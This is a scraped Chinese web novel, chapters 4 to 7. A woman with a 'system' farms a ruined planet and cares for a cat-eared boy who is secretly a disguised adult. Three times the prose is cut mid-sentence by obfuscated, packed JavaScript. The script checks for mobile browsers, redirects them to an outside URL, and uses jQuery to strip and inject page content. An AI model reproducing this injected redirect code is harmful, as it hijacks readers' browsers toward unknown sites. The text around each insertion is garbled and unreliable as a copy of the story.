不同的种子、不同的植株对环境的需求肯定不同，苏是想种成功还是不想成功？ 苏落拿起木框摇晃，争取把混合的种子晃匀：“我觉得它们都会发芽哦。” 系统给的种子，怎么可能发不了芽。 当然，要是真出岔子，那她就该找系统的麻烦了。 苏落估摸着木棍的数量，在小屋前圈定出菜圃的范围：“我先把篱笆竖起来，卡西你等等。” “好的，姐姐。” 苏落比划了下高度，先试着直接上手把木棍插在土里，感觉不够牢固。她想了想，拿出根木棍比划了下深度，然后绕着菜圃的范围走了一圈，边走边用精神力挖了一圈不浅的坑。 之后简单很多，木棍依次埋进坑里，再把土填回去，最后用精神力往下压了压，钉严实了，一排篱笆逐渐成型。 卡西不需要特意找借口，走过去仔细观察，看到深浅一致、厚薄相当的土坑，更看到经苏加工后光滑圆润、看不到任何毛刺的木棍。 很整齐的篱笆，只不过遮挡功能大于防护功能，威慑作用大于遮挡作用。 “姐姐好厉害。”卡西由衷赞叹。 精准的眼力，深厚的精神力储备，精细的精神力操纵，哪怕在军队里，也没有多少人有这实力。 “还好吧。”苏落不以为意，自醒来，她平日里一直都是这么用的，人类天生就会用精神力啊，“等你长大些自然也能掌握。” 如果几年后卡西还在星球上，那时候他长大了点，可以帮她分担些建设任务。 “好。”卡西笑笑，“我很期待。” 对成年的他而言，这的确很简单，但苏这么说，是没有意识到她对精神力的运用已经超越绝大部分人，还是暗藏玄机？ 卡西走到木框边，数种外形不同的种子堆积在一起，他蹲下看了会儿问：“姐姐，种子需要处理吗？” 苏落诧异地回头，种子这东西，不是种地里洒洒水就行，还需要提前处理？ 卡西拿起一颗种子，托着下巴，回忆道：“我曾经听院长讲过，种之前，好像要先用双氧水泡种子。” 院长，不会是孤儿院吧？苏落想。 双氧水……是用来消毒吧？之前从系统那儿兑换过。 “卡西知识面真广。”苏落又表扬小朋友，“我记得洗漱间里有双氧水，帮我处理一下好吗？” 卡西 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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卡西似乎体会到姐姐的情绪不好，想了想，回复得很稳重：“院里每隔一个月，会有很多哥哥姐姐来给我们上课，是那些哥哥姐姐说的。他们说用消毒水前最好加水稀释，不然有的人可能会觉得疼。” 苏落琢磨了会儿，这话里的意思，听上去卡西确实来自孤儿院，而会来孤儿院当义工的年轻人应该不会故意害小朋友，说辞也这么统一。 难不成现在外面的孩子身体素质变强了，不担心被消毒水灼伤？还是外面世界的消毒水成分不一样，更安全？ 苏落不禁深深感慨，时代变了啊。 “你没事就好，是我反应过度。”她松开卡西，笑着说，“准备准备，我们来撒种子。” 男孩抬眸，小声说了句“谢谢姐姐关心”。 苏落笑着说不用。 她把盆里的水倒出去，冲洗干净种子。 卡西主动去沥干多余水分，苏落趁着这时候用精神力松土，接着，两人配合着把种子全种进地里。 这一通忙碌下来，卡西看上去又累又困。刚好，仓库房间清空出来，苏落把自己睡的床抬到原仓库房间，让卡西休息。 “午安。” “午安，姐姐。” 苏落等了几分钟，估摸着小朋友入睡后，无声地翻出篱笆。不用再担心被卡西看见、听见后，她瞬间沉下脸。 她抿着唇，朝废城方向快步走去，有精神力加持，那速度几乎和跑步没有区别。 进入废城区内，余光瞥见飞速后退的残垣，苏落定了定神，强迫自己冷静下来。她稍稍放慢步伐，走在数次往返的路线上，声音很沉：“系统，你还在不在？” 城市如往日般宁静，苏落只能听到自己的声音。 麻烦了。 4. 第 4 章 系统为什么没有回应？ 苏落头疼地敲了下脑袋。 刚救回卡西时，苏落不想当着卡西的面和系统交流，于是拖到回到小屋后，独自更换衣服擦干身体的时候，她小声问系统，卡西怎么出现的，系统又是怎么保证的。 ……但她什么也没听到。 苏落当时就觉得不妙。 苏落想着卡西暂时会和她一起住，需要一个单独的房间，于是又小声问系统要新建房间的建筑图纸。 说实话，从零开始建木屋的时候，系统给过图纸，苏落看过又上手建造过，记忆力还很好，建同样的房间并不需要新的图纸，系统也清楚这点。 故意索要，实际上是看系统会不会回怼她。 可系统什么反应都没有，她脑海里一片寂静。 难道系统不在她身上了？ 虽然苏落觉得系统的限制太多，嫌弃过它，还让它短时间内别打扰她，但一想到这种可能，心里涌现出铺天盖地的焦虑。 苏落立刻就想回到中央大树下——那里是她和系统相遇的起点——看是否会发生转机。 但不行，不可以。 卡西还在这里。 她可以带着卡西去中央大树。 不，她可以带人过去，但她不能把系统暴露给任何人…… 苏落突然出声：“系统，兑换营养液。” “叮。” 熟悉的玻璃管落入苏落手心。 苏落舒了口气，放松身体靠在屋内的椅子上。 好消息，系统还在。 但坏消息依旧存在。 系统出什么问题了？ 是什么导致系统出了问题？ 答案看上去很清晰，卡西。 这一周里，唯一的异常行为即是苏落发现并救下卡西。 可是卡西为什么会导致系统掉线？卡西不是一个普通小孩子吗？他能影响到系统？ 苏落思索着卡西的来历，压下不该出现在孩童面前的负面情绪，克制自己疏离的想法，面上如常地照顾他。 苏落快速把新建房间改成围两米高的篱笆，因为她需要避开卡西做事，又得保证她不在时小孩基本的生存安全。 虽然按系统过去的说法，星球上除了天灾，没有能威胁小孩生存的生物。但现在系统出了岔子，小孩的存在还进一步说明系统出的岔子不小，那就需要将这一点考虑进去。 苏落喜欢如卡西般乖巧听话的孩子，怜惜他的过去，但同时，她也想办法快速消耗卡西的精力、体力，找机会离开。 去废城中央大树的路上，苏落以稳定的频率询问系统，但直到抵达前，系统依旧无声。 而一抵达目的地，苏落瞳孔骤缩。 这棵树……是不是变大了？ 如果说，系统让苏落焦灼，那么变化的大树带给苏落的唯有惊喜。 它的身躯更庞大了，冒出更多更茂盛的新芽，一团团娇嫩的花苞紧挨彼此，青色的果实也变成深绿色，一副生机盎然的模样。 就连苏落几天前挖木头的痕迹都变浅了。 谁给大树吃十全大补丸了吗？再联想联想系统要求的任务…… 苏落懵了片刻，情绪慢慢缓和下来。 “系统？” “……” “还是没用。”她走到树下，背倚着树干坐下，仰起头，闭上眼睛。 来的路上，苏落想过系统还是不回复，她该如何。思来想去，苏落决定试一试在脑海里“发短信”。 过去她和系统的交流，像是“打电话”一样，双方即时反馈，那么现在她尝试和系统“留言”，留下信息但不确定看见信息的时间，看能不能有不一样的反应。 再有一点，如果卡西以后还留在星球上，如果以后需要和系统沟通，她需要想办法，在不出声引起他人注意的情况下，和系统取得联系。 刚好，系统可以在她脑子里“说话”，她应该也可以在自己的脑子里“留言”。 【……】 【系统，系统在不在？还活着吗？】 【建屋子的图纸再发给我一次？】 一次成功，但也不成功。 苏落睁开眼，心想，系统选择她，难不成是因为她非常适应和系统交流？ 苏落无奈地叹气，接着爬起来，开始琢磨如何就地取材做阶梯。 她猜测星球状况和系统状态应该不差，但万一哪天彻底掉线——当然，苏落极其不希望有那一天——营养液没得换，她和卡西总不能去喝西北风。 食物的来源极其重要。 其实现在也没差。 一天兑换不出第二管营养液，一管又只能保证一个人不饿肚子。她们现在一个大人一个小孩，怎么说也需要另寻食物。 而目前的获取途径，一个是种植，另一个最简单稳定的，就摆在眼前。 上树摘果子。 前提是这绿色果实能吃。 苏落思索着，在脑海里留了句：【大树的绿果子能吃吗？】 一开始规划驻地时，苏落计划的是先建个小屋居住，然后慢慢往郊外扩大种植区域。这会儿情况有变，她决定反过来，往废城里扩展。 首先得把从小屋到中央大树的路清出来，然后还得找个方便摘果子的方法。 大树距离地面实在是高，枝干再垂落，高度也在那里摆着，虽然用精神力能够着，但需要处理那么多事情，能省点力是点。 由于大树本身会生长，苏落计划着先在树干挖出足够的空隙，然后从周围废弃的建筑里，撬出一些还能用的地板，把地板塞进树干里，塞严实，再等大树自然生长一段时间，半天然的台阶就完成了，以后上下摘果子会简单很多。 而且站得高看得远，上面风景应该很好。 做完规划，苏落从周围整理出一些还能用的地板后，她看了眼天色，准备回小屋，脚步忽的一顿。 系统在脑海里给她留言了！ 【活着。】 【能。】 苏落又惊又喜。 系统什么时候回复的？ 虽然换了种交流方式，但能联系上就好。 【你怎么了？】苏落问。 系统：【能量异常，连接不稳定。】 【怎样能让你稳定下来？】 【完成星球建设任务。】 苏落低头看着树的影子，缓缓地问：【卡西和你能量异常的原因有关系吗？】 【███████████】 【？你发的什么？看不清。】 …… 之后无论苏落问什么，系统不再回应。 面对系统的又一次断联，苏落心情还不错。 她感觉身体状态还行，笑着用精神力从树上拽了三个绿色果实。 “希望下次来，你能掉些果子。” 从地上捡，比用精神力摘轻松得多。 苏落转身踏上回程的路。路上，她绕道去上次发现的 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卡西思路清晰地说：“每天清晨和傍晚，阿姨会给我们发一杯营养液，喝完就不会饿。” 一天两餐的营养液？ 苏落看看即将落下的天光，拿出水杯，杯子里是提前分装的营养液，递给卡西：“喝吧。” “姐姐的呢？”卡西接过水杯，但没喝。 苏落拍拍卡西的肩膀：“在这里。” 她拿着只剩一半的玻璃管，笑着和卡西的水杯碰了碰，“祝今后一切顺利。” 卡西高兴地高举水杯：“祝姐姐心想事成！” “你也是。” “好！” 那是不可能的。 卡西脸上笑着，心里想，若祝福真正实现，他现在就不该在这里。 祝福只是单纯的心理安慰。 但无论是他“刚醒”时苏及时的出声，还是现在积极轻松的氛围，无一不表明苏在有意识地安抚“卡西”可能存在的不安。 苏很像是一个没有其它目的的好心人。 这个好心人也不了解很多星际常识，才会出现担心幼儿因消毒溶剂出现皮肤受损。 或许她生活的地方的确人烟稀少且偏僻。 但大概率不是这里。 卡西一口喝完杯子里的营养液，就看到苏从自动清洁机里拿出一叠衣服。 “看，新找到的衣服，适合你穿的。”苏落笑眯眯地把清洗后的崭新衣物递给卡西。 之前从没想过会有其他人，苏落拿回来的衣服尺寸当然都是她自己的。现在卡西身上穿的，是苏落临时剪短的裙子。 就这处理后的裙子，套卡西身上还有些空荡。 没办法，小朋友身段太小。 “谢谢苏姐姐。”卡西满脸惊喜。 “还有，”苏落指指衣服堆，“新的小裤头也在里面，记得换上哦。” “知道的。” 卡西一本正经地点头，礼貌地和苏落说拜拜他去换衣服。 苏落说好，注视卡西匀速前行的背影，没忍住，无声地笑了出来。 卡西头一次觉得感官太敏锐是件坏事。 他能感受到灼人的视线落在他背后，更能感受到的是，身上临时衣物里蜷缩起来的丢人尾巴。 哇，苏落诧异又不那么诧异地发现，小朋友耳朵红啦。 5. 第 5 章 苏是故意的，她在故意逗他。 卡西一回到暂住的房间，关上门，长长的出了口气。 以法卡斯的出身、过往经历，必要时改变穿着，对他来说只是件普通的事。 把它当成任务必须即可。 仅此而已。 不需要特别在意。 所以在不能表明真实身份的当下，在需要得到更多情报的现在，在第一次拿到那身漏风衣服时，他若无其事地穿上了，还表现得很平常，正常地和苏互动，展现自己，希望苏更多一点喜欢“卡西”、不要抛弃“卡西”。 对孤儿院出身的“卡西”来说，在这个陌生的环境里，获得有且仅有的、唯一的成年人的关注和喜爱，进而活下去，是他作为年龄稚嫩的幼童的本能。 外表、衣着对“卡西”来说不重要。 法卡斯成功扮演了“卡西”，而在察觉到苏隐藏的疏离感后，他一边继续扮演懂事孩子，一边展露出属于孩子的稚气。 “卡西”虽然聪慧，但他阅历不多，不会读心术，不可能察觉到苏的每一丝情绪变化，他觉得苏基本上接受他了，于是放松下来，在不耽误“正事”的时候有心思玩水、玩种子。 在法卡斯的预想里，苏发现“卡西”小小的玩乐后，会产生“这还是孩子”的想法，进而可能加强她对“卡西”的怜惜。 苏的确如他所想，有基本的道德良知，甚至品性更好。 但隔阂依然存在。 所以法卡斯顺势表示困了，想看看苏接下来如何行动。 苏离开了。 从来到小院的那一刻，法卡斯便开始隐晦而自然地观察，重点搜索是否存在监控设备。 答案是没有。 法卡斯思考过，能否趁此机会进一步搜索整个小院，念及强大精神力者大多记忆力强悍，他选择仔细探索现在休息的房间。 房间原本被当成小仓库，之前堆放的木料被拿出去，种子也种进土里，简单打扫后，除了后加进来的床和床上用品，只剩下一大一小、两个似乎已经报废的机器。 法卡斯曾在洗漱间外见过和大机器相似的东西，如果他没猜错，它是个能量转换器，可以从特定自然能源中转化能量，供给家用器具。 正是因为有它，热水器等等才能正常使用。 而小的那个……不清楚。 法卡斯拿着小机器，指尖一点点划过隐蔽处印刻的小字，表情很冷。 他不认识这种字体，理所当然的辨认不出它的用途。 那么。 苏说的哪种语言？是诺瑟通用语吗？是他学过的任何一种地方语言吗？ 不知道，不是…… 法卡斯回忆苏说话时的嘴型，确认她说的语言和他学过的大相径庭。 都不是啊。 为什么他和苏能无障碍沟通？ ……为什么呢。 甚至在法卡斯发现看不懂当地文字前，他完完全全没有意识到，他和苏之间存在语言障碍。 多奇妙。 越研究和苏相关的情报，越觉得苏神秘。 每当他降低苏的嫌疑时，苏总能从神奇的角度再加上去。 法卡斯站了半晌，慢慢走回床边躺下，闭目养神。 他需要拉近和苏的关系，更多的了解她。 可当法卡斯等到苏回来后，情况又不一样了。 刨除一直存在的照顾，苏在撩逗卡西，善意的、友好的，还有点亲近的逗弄。 那条卡西需要跨越的隔阂，被主动划开的人又合上了大半。 诸多准备被打乱，卡西被打了个措手不及。 苏离开这段时间里，发生了什么？ 卡西很想知道其中缘由，但卡西不应该知道前后的微妙之处。 “苏姐姐。”卡西换上合身的衣物，小跑着来到苏落身边，瞅瞅她，低着头，声音很低很低，“谢谢，但是以后能不能，能不能……” 小朋友结巴的模样逗乐了苏落，她伸出手指，点点他的额头：“想什么呢，以后该自己洗的自己洗，我不会帮你的。” 苏落前几天还觉得自己一个人的衣服不多，可以用精神力洗，没特意去找自动清洁机。 现在机器有了，新衣服仍清洁机里就算了，贴身衣物穿过了，当然不能和外衣外裤混着洗，混用清洁机也不行。 除非再找两台，但目前没什么必要。 卡西很明显地心头一松，耳朵也精神地竖起来。 苏落瞥了一眼，心想小孩多数时候脸上绷得住，实际上还是挺有羞耻心。 她把带回来的日用品和卡西分了分：“这些东西你自己找个顺手的地方放，放完可以玩一会儿，但现在玩儿了等会睡觉就不能玩了哦。” 卡西应好，苏落想想小朋友个子矮，先放下做了七七八八的新床，做了几个矮凳矮桌给卡西。 卡西很高兴，主动说他去给种子们浇点水。浇水时他表情严肃，好像在完成什么重大的任务。 完了他看苏落那边还没结束，小盆一放，手脚放松，开始认认真真地锻炼。 苏落无意间抬头，就见可可爱爱的小朋友摆足架势，缓慢地挥动手臂、腿脚，身子也扭来扭去。 苏落赞同地点点头。 光能转换器数量有限，只有一台，功率还不够，一个白天储存下来的能量供她们两人起居使用已经比较勉强，天黑下去就得睡觉省能量。 现在离恒星落下不远，睡前适当锻炼身体，有助于提高睡眠质量，促进未成年身体发育，是再正确不过的选择。 苏落边看小朋友锻炼，边完成了手上的活。 “天快黑了。”苏落站在院子里眺望远方，转过头问结束运动的卡西，“自己一个人睡有没有问题？” “没有。”卡西忙不迭摇头，“我很想一个人睡。” 苏落想想孤儿院里的环境也是，不过还是嘱咐道：“如果害怕的话，大声叫我。” “姐姐放心。” 苏落看着卡西上床后和她说晚安，才回到自己的房间。 她没急着睡觉，等了等，见卡西没喊自己，才慢慢放空自己，进入深度睡眠。 一觉睡到晨光熹微。 苏落本以为多了个卡西，她会睡不太安稳，但事实证明，她的睡眠质量极高。 清晨时分，苏落浑身放松懒散，她再躺了片刻，才起身换好衣服，从随身携带的储物匣子里，拿出从中央大树摘下的三个绿色果实。 昨天傍晚的营养液她和卡西一人一半，卡西年纪小，一半顶一天应该差不多，她现在么，有一点饿，但不严重。 在逐渐变亮的光线下，苏落上下看了看，用水杯里的水简单清洗后，不紧不慢地吃了两个。 唔，虽然里头的果肉也是浅绿色的，不太让人有食欲，但味道清甜可口，水分充足，咬下去鲜嫩爽脆，带来的饱腹感也比较强烈，嗯，今天晚上喝四分之一营养液，再吃点绿果，明天起来再看看效果。 就是可惜，果实里怎么没有果核。 苏落遗憾了会儿不能在院子里种绿果，神情轻松地推门准备洗漱。 然后表情凝住。 苏落震惊地看着男孩穿着一身柔软舒适的新衣服，迎着晨光舒展身体。 “……卡西？” “怎么了，姐姐？” 什么怎么了，小朋友你是不是起的有点早啊？ 苏落心里某个角落在无声崩塌，挥手示意小孩别管她。 卡西把头扭回去，继续慢吞吞地做动作。 苏落洗完手出来，倚着门框看了会儿，发觉这就是昨晚小孩做的那套。 她看着卡西又重复做了六遍，直到他额头上出现薄薄的一层汗才停下来。 “昨晚睡的怎么样？”苏落递了根毛巾过去，眼里还有淡淡的惊异。 她发现小孩行动间虽有些软绵，但每一轮动作几乎一模一样。 卡西接过来擦擦脸，仰着头说：“昨晚睡的很好，只是昨天下午睡的有点多，今天早上就醒的早。” 苏落一想也是。 “你刚刚做的是什么？” “门卫奶奶教的锻体操！” 卡西眼睛很亮，“门卫奶奶超级厉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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无论是盘踞诸多星系的诺瑟帝国，还是和诺瑟斗了上千年的敌国，没有人类会自然长出猫耳猫尾！ ——一天的时间，足够让卡西确认身体上多长出来的器官的具体形貌。 苏过去到底生活在哪颗星球？基础教育竟然缺失到这种程度？ 不，她似乎根本没上过基础学校，也没见过正常人类。 难道苏本身是从哪个人体实验室跑出来的？那也说不通很多事。 卡西烦躁地思索着，忽然，他听到满含笑意的女声说：“好心的小朋友，可以让姐姐摸摸你的耳朵吗？” “可……”卡西忽的反应过来，“不可以姐姐！” “那可以摸摸你的尾巴吗？”苏落笑着问。 “也不可以！” 卡西整个人看起来气呼呼的，“都不可以！” “好好，不可以，我知道啦。” 苏落喜欢rua毛茸茸，但眼前的这个是活生生的人类幼崽。她平时有特别注意，看看也就算了，但不能枉顾幼崽本人的意愿随意触碰。 唯一一次也是想让小朋友打起精神来别生病。 现在嘛，也是想让小朋友赶紧从低落别扭的情绪里走出来。 她绝对没有因为被点出来喜欢毛茸茸而羞恼。 “还生气吗？不气了吧，姐姐带你去城市里寻宝好不好？” “我，我没生气。” “是吗，那太好了。” “……要是，要是姐姐真的想摸，可以摸一下，就一下下。” “真的？” 苏落一脸惊喜。 “但是姐姐你要早上起来和我一起练强身健体操！” 卡西倔强表示。 两人面面相觑。 “我需要好好考虑一下。”苏落慎重地说。 她一个过去经常睡懒觉的大学生，现在每天天刚亮就起，已经够早了。 卡西气鼓鼓：“姐姐太坏了！” “坏人！” 6. 第 6 章 眼看卡西真生气了，苏落努力遏制上挑的唇角，拿出最后一个绿果。 “别气了别气了，看这是什么。” 卡西不是很高兴，但依然抬起头来。 苏落托着绿果说：“昨天刚摘的果子，尝尝吧。” 昨天？和苏离开有关？ 卡西捕捉到关键词，脸上不太情愿，又有些疑惑，看上去似乎不认识绿果。 “这是今天的早餐吗？” 苏落想，难道卡西没吃过水果一类的东西？ “是本地特产，可以当营养液吃。”她表情很正经。 按小朋友的饮食习惯，应该早晚各一餐，一天两次。虽然她猜半管营养液应该能支撑小孩子一天的消耗，但总得问清楚，总不能让孩子年纪小小饿肚子。 卡西看了会儿，突然问：“姐姐早上吃了吗？” 苏落脸上的笑意更甚，好乖好乖的小朋友，自己大清早起来锻炼，被惹生气了还反过来问她吃早饭没，多可爱啊。 “吃过了哦。” “那我先不吃了。”卡西神情平静下来，他想了想说，“我现在还不饿，等饿了再吃。” 苏落微微扬眉。 系统出品的营养液品质还不错，而且，小孩儿有点太懂事了啊。 “好。”她没多纠结，“等会儿我们去城里寻宝，路上要是饿了一定要给我说。” 卡西点点头，带着对寻宝的期待回房间收拾自己。转身的那刻，他眯起眼睛。 寻宝……那些日常用具是这么来的。 苏落浇完水，和整装待发的卡西汇合，她发现卡西背上背了没见过的小背包，还有点眼熟。 “这个是？”她问。 卡西一板一眼地说，院里特别教过用衣服叠成背包的方法，这是他用自己洗干净的衣服叠的。 “要是之后姐姐你的匣子装不下，可以把一些轻的东西给我，我来背。” 他的眼睛亮亮的，满是期待。 苏落抱着卡西翻过篱笆，笑着说好。 “姐姐，这里要不要开个门？” 听上去小朋友不怎么喜欢被人抱进抱出。 “今天回来的时候开吧。” “姐姐你教我，我来！” “可以啊。” 和谐的氛围直到苏落带着卡西走近废弃的城市。 “……天啊。”卡西被苏落拉着前进，脚步踉跄。 这是他第一次走近附近的城市，他睁大眼睛，目光一一扫过灰败破落的楼宇，掠过荒芜的点缀着杂草的土地，震惊地说不出话其他。 “天啊。” 苏落也很震惊。 卡西倏地扭头看向少女。 “姐姐之前没来过这边吗？”男孩的声音里满是奇怪。 苏落没发现卡西情绪里细微的变化，她松开卡西，快步走到杂草边蹲下来，稀奇地盯着看了一会儿，伸手轻轻拽了一下。 卡西眼神微变，随后他也蹲下来，看看杂草，再看看苏落，没说话。 苏落回过神，转头和卡西解释：“我昨天来的时候，这里没有草！” 卡西握着手心思索道：“小草本来就长的很快。” 苏落摇摇头：“不是……” 从她在这颗星球上醒来，她见过的唯一的植物，只有废城中央的那棵大树。没见过其它绿色的，更没有花没有草。 苏落怀疑过星球上是不是除了唯一的一颗大树，只剩下各种废弃的人工造物和水，所以系统才让她全星球种地。 苏落沉吟片刻，没有继续解释，只简单说看到环境变好，自己太开心。 卡西没有追问。 很快，苏落告诉卡西今天两人的任务——清理出一条足够宽敞的入口。 苏落负责用精神力搬运一层以上的建筑，含一层天花板，搬到远离入口的荒地上放着。卡西负责在苏落已经处理过的只剩一楼的露天建筑里，寻找能用的东西，找完苏落再把一楼也挪开。 这样安排的原因，一是苏落知道，她不能总是把卡西一个人放置在院子里。 未成年，白天长期独自生活，debuff叠满了，哪怕卡西再乖巧，她也不放心。 二来，按卡西的性格，他也不能接受自己像个衣来伸手饭来张口的孩子，只接受苏落供养，却什么都不做，他一定会想帮忙。 既然如此，苏落干脆把卡西带在身边，虽然清理的步骤多了一点，但她本来就要搜一遍，现在既能看着小孩，又能给卡西点事做，两全其美。 卡西听话地只待在苏落表示安全的区域，背着小背包，脸上是全然的快乐探险寻宝的模样。 “哗……嘭……咚……” 卡西侧耳细听，楼层被切割的声音，大楼被搬运、放下的声音，与苏落平缓无波的呼吸声。 他内心再次提高对苏落精神力使用的评价等级。 卡西轻巧地在逐渐变多的露天建筑内穿梭，寻找没有被时间侵蚀的物品。 他其实很熟悉这样的城市氛围。 无论是幼时糟糕的生活环境，亦或是长大后各种各种的任务地点，和现在这里区别不大。 所以，当卡西再次拿起一片布料，看着它在指尖风化，神情沉郁：距离最后的人类离开这座城市，究竟过了多少年？ 他环视四周，背包空荡荡的。 临近午时，苏落停下来，她回头一看，颇为满意。半天的时间，推进了快百米。 “卡西？卡西回来休息了。” “好。” 不一会儿，小小的身影从墙壁后出现。 卡西拿着几片金属色泽的板子过来，表情失落。 苏落猜到原因，没问他收获如何，而是把他抱起来。 “这边先到这里，我们去下个地方。” 卡西闷闷的没吭声，手臂撑在苏落肩膀上，似乎无意识间攥住了她的衣服。 “……抱歉，姐姐。”好半天，卡西才小声说。 苏落脚步轻快，安慰道：“这很正常，别放在心上。这城这么破，能有收获，已经很好了。” 之前系统还正常的时候，也只能帮她搜索以她为中心，半径十米的范围。她为了生活方便，没少到处跑找能用的，成果也才屋子里那么一点东西。 现在主要目的是清路，能在路边找些没成渣的已经很好了。 卡西嗫嚅着，很是不甘心：“可是我怀疑我找到的东西都没用。” 苏落瞟了两眼金属板子：“‘微风与我’，是首诗歌。” 她拿过板子，来回翻看，“是本金属制的纪念诗歌集啊，虽然里面只有几页，但是很美。能让我们多年后重新阅读，已经证明它的作用了，不是吗？” 苏落这样安慰卡西，也真的打心底如此认为，这是人类的瑰宝。 卡西啊了一声，指着金属板子，好奇地问：“这几个符号代表了微风与我四个字吗？” 苏落自然点头说是。 “那姐姐可以教我认字吗？”卡西想了想，垂着头问，“我会努力学的。” “没问题。” 苏落一口应下。 这个年纪，该认字了，苏落并不排斥给小朋友上课。 她愿意教我学习这种文字。 卡西静静地想。 理解文字，有利于了解这颗星球的来历，更有利于寻找离开的办法。 苏居然……或者说，果然同意教学，这代表她可能的确出身这颗星球，或原属这颗星球的文化圈子。 那么…… 突然覆盖到脸上的阴影拉回卡西的神智。 他仰头，瞳孔微缩。 苏落三步并作两步，轻快地跳过倒塌的残渣。她放下男孩，往前走两步，转过身，背对遮天蔽日的巨树，朝男孩张开手臂。 “欢迎来到这里！” 卡西极力仰头，依旧看不见树顶，茂密繁盛的枝叶一反卡西之前见过的破败景象，蕴藏着无限生机。红色的果实密密麻麻地垂落在枝丫，琳琅满目。 一切的一切都让卡西惊叹不已。 但最让他注意的，是苏落的神情。 苏落畅快地笑着，发自内心的欢欣毫无遮掩。她笑着转头看向参天巨树，眼里满是纯粹的期待与陶然。 这一刻，没有任何人或事能让她转移目光。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15184512|165457||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它对她很重要，它……是她的一切。 忽然间，卡西心中生出这个念头。 他静静地凝视苏落，回忆两天以来的种种。 那么。 苏的第一目标不是他，而是大树，或者星球本身。 那么，在两人目标不存在完全冲突的情况下，不论他变成这般模样和苏有没有关系，他都可以想办法，和苏进行一定程度的合作，各有保留，但各取所需。 卡西看了很久，终于淡淡地笑了笑。 苏落非常开心。 因为欣欣向荣的一切——冒出地面的绿草，变得更庞大的树木，一夜变红成熟的果实，还因为散落在地面上的有绿有红的果实。 她的希望被听到了。 系统挺体贴啊，苏落笑着捡起地上的果实，在脑海里问道。 【今天的状态有好一点吗？】 苏落和卡西说，累了可以靠着树干休息，这里不晒，很安全。 卡西自告奋勇帮忙捡果子，两人一起忙碌了会儿，最后一数，一共五个绿色的，二十多个红色的。 苏落坐在树下，一手拿一个，端详了会儿说：“绿色的应该还没成熟？” 不过尝过后感觉绿色的果实也很好吃，两者有什么区别？ 想了想，苏落决定实践出真知，现场切两个尝尝。 卡西放松地躺在鲜嫩的草地上，视线向上，看着树干上明显的坑洞，直接问道：“姐姐之前住在这边吗？” 苏落将果实洗干净，其中红色的果实一分为二，绿色的，她思考片刻，切下一半的一半，闻言不甚在意地说：“住过一段时间。” 虽然也就一天不到。 “那为什么要离开？”卡西翻身凑近，语气好奇。 “我要是一直住这里，就捡不到你了。”苏落随意地回复，抬手招呼卡西来吃果子，“要来试试吗？” “要。” 上午的搜寻确实消耗了大量体力。 卡西思索着苏落的话，余光瞥见苏落大口吃红色果实，边说话边坐起来，拿起红果实咬下去：“不是的，我是想问姐姐，为什么不以这颗树为据点，向……” 卡西突然停下来。 苏落吃完红色果实，又去尝绿色的，品了一下，一样的可口，觉得没有区别：“向什么，向四周扩展？”她几口吃完，伸了个懒腰，“外边的空间更广，还方便。” 卡西安静地盯着手里的果实看了会儿，飞快吞下，然后又两口把四分之一的绿色果实咽下去。 这速度把苏落惊到了。 “怎么了？你很饿吗？” 卡西摇摇头，没说话。 “你……”苏落飞快地在脑海里问系统怎么回事，“你怎么回事？脸怎么红了？” 只见卡西一向白皙的脸庞迅速变成浅红，他的眼睛也水润起来。 “你怎么了？”苏落震惊地用手背贴卡西的脸颊，又用指腹点点卡西的眼尾，头一次手足无措起来，“食物中毒？不应该啊？你感觉怎么样？需要降温吗？” 她吃了好几个果实，没有任何不良反应啊。 卡西用力摇头，用手势比划。 苏落大致看出他说自己没病，感觉很好。 可这情况算好？ 苏落深深皱眉。 “……能量，”卡西指着其它果实，勉强挤出几个字，“大，多，好。” 红色果实入口的那一刻，化为精纯的能量，涌入卡西口腔，进入他的身体，滋润他的变得微弱的精神力。 这是最顶级，不，它可能比市面上、军部、皇室所拥有的顶级精神强化剂能量更高！ 卡西感知着身体的每处细微变化。 不止是精神力，连身体素质也有所加强。 他毫不犹豫地吃下苏落给他准备的绿色果实。 这一刻，更凶猛强悍的能量席卷全身，新生的耳朵和尾巴不受控制地微微颤抖，卡西仿佛能听到骨骼生长、身体发育、精神力迸发的声音，庞大的能量甚至压迫得他无法开口！ 恍然间，卡西想到晨间他对绿色果实的拒绝。 “……” 7. 第 7 章 苏落一边扶着卡西躺下，一边盯着地上还没收起来的果实看了几眼，满心的茫然，匪夷所思。 这不是普通的用来充饥的果子吗？ 能量？什么能量？哪种能量？ 她完全没感受到。 她和现在的人类之间，身体素质和感知差别有多大？ 苏落压住心底的疑惑，观察卡西的状态。只见男孩一头冷汗，身上的衣服也在慢慢被浸湿，但肉眼可见的，他原本皱紧的眉头放松下来，脸色也好了很多。 估摸着情况确实在好转，苏落这才放下提起的心。 转过头，她望着高耸的巨树，满眼疑惑。 【系统，果实除了充饥，还有其它作用？】 苏落在脑海里留言时，其实更想抓着系统的核心程序，问它到底什么时候能修好自己，别整天掉线。 结果系统居然立刻回复了。 【对你来说没有。有别人食用了果实？】 苏落静默地回忆卡西的举动，确认这果子应该是比较少见的好东西，她难以置信地问：【为什么单独对我无效？】 在给卡西食用之前，她还特意先自己试吃过了！ 【因为不需要，那些能量对你没用。】 系统迅速看过前面的留言，然后回复的速度慢了下来，【猫尾巴短时间内接收过量能量冲击，休息一段时间能好，不用管他。】 本来有些不爽和担忧的苏落：【……】 